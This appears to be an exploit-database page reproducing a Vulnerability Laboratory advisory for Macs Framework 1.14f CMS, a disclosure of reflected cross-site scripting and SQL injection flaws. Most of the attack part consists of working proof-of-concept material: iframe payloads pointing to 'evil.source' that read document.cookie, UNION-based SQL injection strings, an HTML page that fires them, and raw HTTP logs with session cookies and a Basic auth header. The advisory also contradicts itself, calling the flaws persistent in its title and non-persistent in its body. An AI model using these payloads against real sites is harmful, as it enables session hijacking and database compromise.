
9 changes to exploits/shellcodes BlazeDVD 7.0.2 - Buffer Overflow (SEH) AirDisk Pro 5.5.3 for iOS - Persistent Cross-Site Scripting SuperBackup 2.0.5 for iOS - Persistent Cross-Site Scripting Pinger 1.0 - Remote Code Execution SeedDMS 5.1.18 - Persistent Cross-Site Scripting Macs Framework 1.14f CMS - Persistent Cross-Site Scripting DedeCMS 7.5 SP2 - Persistent Cross-Site Scripting File Transfer iFamily 2.1 - Directory Traversal Xeroneit Library Management System 3.0 - 'category' SQL Injection
482 lines
No EOL
15 KiB
Text
482 lines
No EOL
15 KiB
Text
# Title: Macs Framework 1.14f CMS - Persistent Cross-Site Scripting
|
|
# Author: Vulnerability Laboratory
|
|
# Date: 2020-04-15
|
|
# Software Link: https://sourceforge.net/projects/macs-framework/files/latest/download
|
|
# CVE: N/A
|
|
|
|
Document Title:
|
|
===============
|
|
Macs Framework v1.14f CMS - Multiple Web Vulnerabilities
|
|
|
|
|
|
References (Source):
|
|
====================
|
|
https://www.vulnerability-lab.com/get_content.php?id=2206
|
|
|
|
|
|
Release Date:
|
|
=============
|
|
2020-04-14
|
|
|
|
|
|
Vulnerability Laboratory ID (VL-ID):
|
|
====================================
|
|
2206
|
|
|
|
|
|
Common Vulnerability Scoring System:
|
|
====================================
|
|
7.4
|
|
|
|
|
|
Vulnerability Class:
|
|
====================
|
|
Multiple
|
|
|
|
|
|
Current Estimated Price:
|
|
========================
|
|
1.000€ - 2.000€
|
|
|
|
|
|
Product & Service Introduction:
|
|
===============================
|
|
Macs CMS is a Flat File (XML and SQLite) based AJAX Content Management
|
|
System. It focuses mainly on the
|
|
Edit In Place editing concept. It comes with a built in blog with
|
|
moderation support, user manager section,
|
|
roles manager section, SEO / SEF URL.
|
|
https://sourceforge.net/projects/macs-framework/files/latest/download
|
|
|
|
(Copy of the Homepage: https://sourceforge.net/projects/macs-framework/ )
|
|
|
|
|
|
Abstract Advisory Information:
|
|
==============================
|
|
The vulnerability laboratory core research team discovered multiple web
|
|
vulnerabilities in the official Macs Framework v1.1.4f CMS.
|
|
|
|
|
|
Affected Product(s):
|
|
====================
|
|
Macrob7
|
|
Product: Macs Framework v1.14f - Content Management System
|
|
|
|
|
|
Vulnerability Disclosure Timeline:
|
|
==================================
|
|
2020-04-14: Public Disclosure (Vulnerability Laboratory)
|
|
|
|
|
|
Discovery Status:
|
|
=================
|
|
Published
|
|
|
|
|
|
Exploitation Technique:
|
|
=======================
|
|
Remote
|
|
|
|
|
|
Severity Level:
|
|
===============
|
|
High
|
|
|
|
|
|
Authentication Type:
|
|
====================
|
|
Restricted authentication (user/moderator) - User privileges
|
|
|
|
|
|
User Interaction:
|
|
=================
|
|
Low User Interaction
|
|
|
|
|
|
Disclosure Type:
|
|
================
|
|
Independent Security Research
|
|
|
|
|
|
Technical Details & Description:
|
|
================================
|
|
1.1 & 1.2
|
|
Multiple non-persistent cross site scripting web vulnerabilities has
|
|
been discovered in the official Mac Framework v1.1.4f Content Managament
|
|
System.
|
|
The vulnerability allows remote attackers to manipulate client-side
|
|
browser to web-applicatio requests to compromise user sesson credentials
|
|
or to
|
|
manipulate module content.
|
|
|
|
The first vulnerability is located in the search input field of the
|
|
search module. Remote attackers are able to inject own malicious script
|
|
code as
|
|
search entry to execute the code within the results page that is loaded
|
|
shortly after the request is performed. The request method to inject is
|
|
POST
|
|
and the attack vector is located on the client-side with non-persistent
|
|
attack vector.
|
|
|
|
The second vulnerability is located in the email input field of the
|
|
account reset function. Remote attackers are able to inject own
|
|
malicious script code as
|
|
email to reset the passwort to execute the code within performed
|
|
request. The request method to inject is POST and the attack vector is
|
|
located on the
|
|
client-side with non-persistent attack vector.
|
|
|
|
Successful exploitation of the vulnerabilities results in session
|
|
hijacking, non-persistent phishing attacks, non-persistent external
|
|
redirects to
|
|
malicious source and non-persistent manipulation of affected or
|
|
connected application modules.
|
|
|
|
Request Method(s):
|
|
[+] POST
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] searchString
|
|
[+] emailAdress
|
|
|
|
|
|
1.3
|
|
Multiple remote sql-injection web vulnerabilities has been discovered in
|
|
the official Mac Framework v1.1.4f Content Managament System.
|
|
The vulnerability allows remote attackers to inject or execute own sql
|
|
commands to compromise the dbms or file system of the application.
|
|
|
|
The sql injection vulnerabilities are located in the `roleId` and
|
|
`userId` of the `editRole` and `deletUser` module. The request method to
|
|
inject or execute commands is GET and the attack vector is located on
|
|
the application-side. Attackers with privileged accounts to edit are
|
|
able to inject own sql queries via roleid and userid on deleteUser or
|
|
editRole. Multiple unhandled and broken sql queries are visible as default
|
|
debug to output for users as well.
|
|
|
|
Exploitation of the remote sql injection vulnerability requires no user
|
|
interaction and a privileged web-application user account.
|
|
Successful exploitation of the remote sql injection results in database
|
|
management system, web-server and web-application compromise.
|
|
|
|
Request Method(s):
|
|
[+] POST
|
|
|
|
Vulnerable Module(s):
|
|
[+] deleteUser
|
|
[+] editRole
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] userId
|
|
[+] roleId
|
|
|
|
|
|
Proof of Concept (PoC):
|
|
=======================
|
|
Google Dork(s): intitle, subtitle & co.
|
|
Site Powered by Mac's PHP MVC Framework Framework of the future
|
|
Design downloaded from Zeroweb.org: Free website templates, layouts, and
|
|
tools.
|
|
|
|
|
|
1.1
|
|
The non-persistent cross site scripting web vulnerability can be
|
|
exploited by remote attackers without user account and with low user
|
|
interaction.
|
|
For security demonstration or to reproduce the cross site scripting web
|
|
vulnerability follow the provided information and steps below to continue.
|
|
|
|
|
|
PoC: Payload
|
|
>">"<iframe src=evil.source
|
|
onload=alert(document.cookie)>&scrollPosition=0&scrollPosition=0
|
|
|
|
|
|
PoC: Vulnerable Source
|
|
<form method="post"
|
|
action="https://macs-cms.localhost:8080/index.php/search" id="searchForm">
|
|
<span class="searchLabel">Search Site:</span><input type="searchString"
|
|
value="" name="searchString" class="searchString">
|
|
<input type="submit" value="Search" class="searchSubmit">
|
|
</form><br>
|
|
<span class="error">No Results found for: "<iframe src="evil.source"
|
|
onload="alert(document.cookie)"></span>
|
|
|
|
|
|
--- PoC Session Logs [POST] ---
|
|
https://macs-cms.localhost:8080/index.php/search
|
|
Host: macs-cms.localhost:8080
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
|
|
Gecko/20100101 Firefox/75.0
|
|
Accept:
|
|
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate, br
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 112
|
|
Origin: https://macs-cms.localhost:8080
|
|
Authorization: Basic dGVzdGVyMjM6Y2hhb3M2NjYhISE=
|
|
Connection: keep-alive
|
|
Referer: https://macs-cms.localhost:8080/index.php
|
|
Cookie: PHPSESSID=h81eeq4jucus8p9qp146pjn652;
|
|
Upgrade-Insecure-Requests: 1
|
|
searchString=>">"<iframe src=evil.source
|
|
onload=alert(document.cookie)>&scrollPosition=0&scrollPosition=0
|
|
-
|
|
POST: HTTP/1.1 200 OK
|
|
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
|
|
pre-check=0
|
|
Pragma: no-cache
|
|
Content-Type: text/html; charset=UTF-8
|
|
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
|
Server: Microsoft-IIS/8.5
|
|
X-Powered-By: ASP.NET
|
|
X-Powered-By-Plesk: PleskWin
|
|
Content-Length: 9865
|
|
|
|
|
|
1.2
|
|
The non-persistent cross site scripting web vulnerability can be
|
|
exploited by remote attackers without user account and with low user
|
|
interaction.
|
|
For security demonstration or to reproduce the cross site scripting web
|
|
vulnerability follow the provided information and steps below to continue.
|
|
|
|
|
|
PoC: Exploitation
|
|
test"<iframe src=evil.source onload=alert(document.cookie)>@gmail.com
|
|
|
|
|
|
PoC: Vulnerable Source
|
|
<form method="post"
|
|
action="https://macs-cms.localhost:8080/index.php/main/cms/login"
|
|
class="ajax" ajaxoutput="#loginMessage">
|
|
<table style="width:100%">
|
|
<tbody><tr>
|
|
<td style="width: 20px">Username:</td>
|
|
<td><input type="text" name="username"></td>
|
|
</tr>
|
|
<tr>
|
|
<td>Password:</td>
|
|
<td><input type="password" name="password"></td>
|
|
</tr>
|
|
<tr>
|
|
<td colspan="2"><input type="submit" value="Login"></td>
|
|
</tr>
|
|
<tr>
|
|
<td colspan="2"><br><div id="loginMessage" style="display:
|
|
block;">Invalid Username or Password</div></td>
|
|
</tr>
|
|
</tbody></table>
|
|
<br>
|
|
<a
|
|
href="https://macs-cms.localhost:8080/index.php/main/cms/forgotPassword"
|
|
class="ajax" ajaxoutput="#forgotPassword">Forgot Password</a>
|
|
<input type="hidden" name="scrollPosition" value="102"></form>
|
|
<div id="forgotPassword" style="display: block;">
|
|
<form class="ajax" method="post"
|
|
action="https://macs-cms.localhost:8080/index.php/main/cms/forgotPasswordProcess"
|
|
ajaxoutput="#forgotPasswordReturn">
|
|
Enter your email address: <input type="text" name="emailAddress"><br>
|
|
<input type="submit" value="Send Email">
|
|
</form>
|
|
<br>
|
|
<div id="forgotPasswordReturn" style="display: block;">Cannot find user
|
|
with Email address:
|
|
test"<iframe src=evil.source
|
|
onload=alert(document.cookie)>@gmail.com</iframe></div>
|
|
</div>
|
|
|
|
|
|
|
|
--- PoC Session Logs [POST] ---
|
|
https://macs-cms.localhost:8080/index.php/main/cms/forgotPassword
|
|
Host: macs-cms.localhost:8080
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
|
|
Gecko/20100101 Firefox/75.0
|
|
Accept: */*
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate, br
|
|
Content-Type: application/x-www-form-urlencoded
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Length: 17
|
|
Origin: https://macs-cms.localhost:8080
|
|
Connection: keep-alive
|
|
Referer: https://macs-cms.localhost:8080/index.php/main/cms/login
|
|
Cookie: PHPSESSID=h81eeq4jucus8p9qp146pjn652;
|
|
ajaxRequest=true
|
|
-
|
|
POST: HTTP/1.1 200 OK
|
|
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
|
|
pre-check=0
|
|
Pragma: no-cache
|
|
Content-Type: text/html; charset=ISO-8859-1
|
|
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
|
Server: Microsoft-IIS/8.5
|
|
X-Powered-By: ASP.NET
|
|
X-Powered-By-Plesk: PleskWin
|
|
Content-Length: 335
|
|
-
|
|
https://macs-cms.localhost:8080/index.php/main/cms/forgotPasswordProcess
|
|
Host: macs-cms.localhost:8080
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
|
|
Gecko/20100101 Firefox/75.0
|
|
Accept: */*
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate, br
|
|
Content-Type: application/x-www-form-urlencoded
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Length: 123
|
|
Origin: https://macs-cms.localhost:8080
|
|
Connection: keep-alive
|
|
Referer: https://macs-cms.localhost:8080/index.php/main/cms/login
|
|
Cookie: PHPSESSID=h81eeq4jucus8p9qp146pjn652;
|
|
ajaxRequest=true&=&emailAddress=test"<iframe src=evil.source
|
|
onload=alert(document.cookie)>@gmail.com
|
|
-
|
|
POST: HTTP/1.1 200 OK
|
|
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
|
|
pre-check=0
|
|
Pragma: no-cache
|
|
Content-Type: text/html; charset=ISO-8859-1
|
|
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
|
Server: Microsoft-IIS/8.5
|
|
X-Powered-By: ASP.NET
|
|
X-Powered-By-Plesk: PleskWin
|
|
Content-Length: 105
|
|
|
|
|
|
1.3
|
|
The remote sql injection web vulnerability can be exploited by remote
|
|
attackers with privileged application user account and without user
|
|
interaction.
|
|
For security demonstration or to reproduce the cross site scripting web
|
|
vulnerability follow the provided information and steps below to continue.
|
|
|
|
|
|
PoC: Payload
|
|
%27-1%20order%20by%205--
|
|
%27-1%20union select 1,2,3,4,@@version--
|
|
|
|
|
|
PoC: Exploitation
|
|
<html>
|
|
<head><body><title>Mac's CMS SQL Injection PoC</title>
|
|
<iframe
|
|
src=https://macs-cms.localhost:8080/index.php/main/cms/editRole?roleId=%27-1%20order%20by%205--%20>
|
|
<iframe
|
|
src=https://macs-cms.localhost:8080/index.php/main/cms/editRole?roleId=%27-1%20union
|
|
select 1,2,3,4,@@version--%20>
|
|
<iframe
|
|
src=https://macs-cms.localhost:8080/index.php/main/cms/deleteUser?userId=%27-1%20order%20by%205--%20>
|
|
<iframe
|
|
src=https://macs-cms.localhost:8080/index.php/main/cms/deleteUser?userId=%27-1%20union
|
|
select 1,2,3,4,@@version--%20>
|
|
</body></head>
|
|
</html>
|
|
|
|
|
|
--- PoC Session Logs [GET] ---
|
|
https://macs-cms.localhost:8080/index.php/main/cms/editRole?roleId='-1
|
|
order by 5--
|
|
Host: macs-cms.localhost:8080
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
|
|
Gecko/20100101 Firefox/75.0
|
|
Accept:
|
|
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate, br
|
|
Connection: keep-alive
|
|
Cookie: __utma=72517782.1164807459.1586620290.1586620290.1586620290.1;
|
|
Upgrade-Insecure-Requests: 1
|
|
-
|
|
GET: HTTP/1.1 200 OK
|
|
Content-Type: text/html; charset=UTF-8
|
|
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
|
Server: Microsoft-IIS/8.5
|
|
X-Powered-By: ASP.NET
|
|
X-Powered-By-Plesk: PleskWin
|
|
Content-Length: 53
|
|
|
|
|
|
--- [SQL Error Exception Logs] ---
|
|
SQLSTATE[HY000]: General error: 1 near "1": syntax error
|
|
-
|
|
Error executing SQL statement
|
|
SQLSTATE[HY000]: General error: 1 unrecognized token: "''';"
|
|
-
|
|
Error executing SQL statement
|
|
SQLSTATE[HY000]: General error: 1 1st ORDER BY term out of range -
|
|
should be between 1 and 5
|
|
-
|
|
5.0.12 'pwnd
|
|
This page was created in 1.5665068626404 seconds
|
|
|
|
|
|
Security Risk:
|
|
==============
|
|
1.1 & 1.2
|
|
the security risk of the client-side cross site scripting web
|
|
vulnerabilities in the search and email reset function are estimated as
|
|
medium.
|
|
|
|
1.3
|
|
The security risk of the remote sql injection web vulnerabilities in the
|
|
id parameters on delete are estimated as high.
|
|
|
|
|
|
Credits & Authors:
|
|
==================
|
|
Vulnerability-Lab -
|
|
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
|
|
Benjamin Kunz Mejri -
|
|
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
|
|
|
|
|
|
Disclaimer & Information:
|
|
=========================
|
|
The information provided in this advisory is provided as it is without
|
|
any warranty. Vulnerability Lab disclaims all warranties,
|
|
either expressed or implied, including the warranties of merchantability
|
|
and capability for a particular purpose. Vulnerability-Lab
|
|
or its suppliers are not liable in any case of damage, including direct,
|
|
indirect, incidental, consequential loss of business profits
|
|
or special damages, even if Vulnerability-Lab or its suppliers have been
|
|
advised of the possibility of such damages. Some states do
|
|
not allow the exclusion or limitation of liability for consequential or
|
|
incidental damages so the foregoing limitation may not apply.
|
|
We do not approve or encourage anybody to break any licenses, policies,
|
|
deface websites, hack into databases or trade with stolen data.
|
|
|
|
Domains: www.vulnerability-lab.com www.vuln-lab.com
|
|
www.vulnerability-db.com
|
|
Services: magazine.vulnerability-lab.com
|
|
paste.vulnerability-db.com infosec.vulnerability-db.com
|
|
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab
|
|
youtube.com/user/vulnerability0lab
|
|
Feeds: vulnerability-lab.com/rss/rss.php
|
|
vulnerability-lab.com/rss/rss_upcoming.php
|
|
vulnerability-lab.com/rss/rss_news.php
|
|
Programs: vulnerability-lab.com/submit.php
|
|
vulnerability-lab.com/register.php
|
|
vulnerability-lab.com/list-of-bug-bounty-programs.php
|
|
|
|
Any modified copy or reproduction, including partially usages, of this
|
|
file requires authorization from Vulnerability Laboratory.
|
|
Permission to electronically redistribute this alert in its unmodified
|
|
form is granted. All other rights, including the use of other
|
|
media, are reserved by Vulnerability-Lab Research Team or its suppliers.
|
|
All pictures, texts, advisories, source code, videos and other
|
|
information on this website is trademark of vulnerability-lab team & the
|
|
specific authors or managers. To record, list, modify, use or
|
|
edit our material contact (admin@ or research@) to get a ask permission.
|
|
|
|
Copyright © 2020 | Vulnerability Laboratory - [Evolution
|
|
Security GmbH]™
|
|
|
|
|
|
|
|
|
|
|
|
--
|
|
VULNERABILITY LABORATORY - RESEARCH TEAM |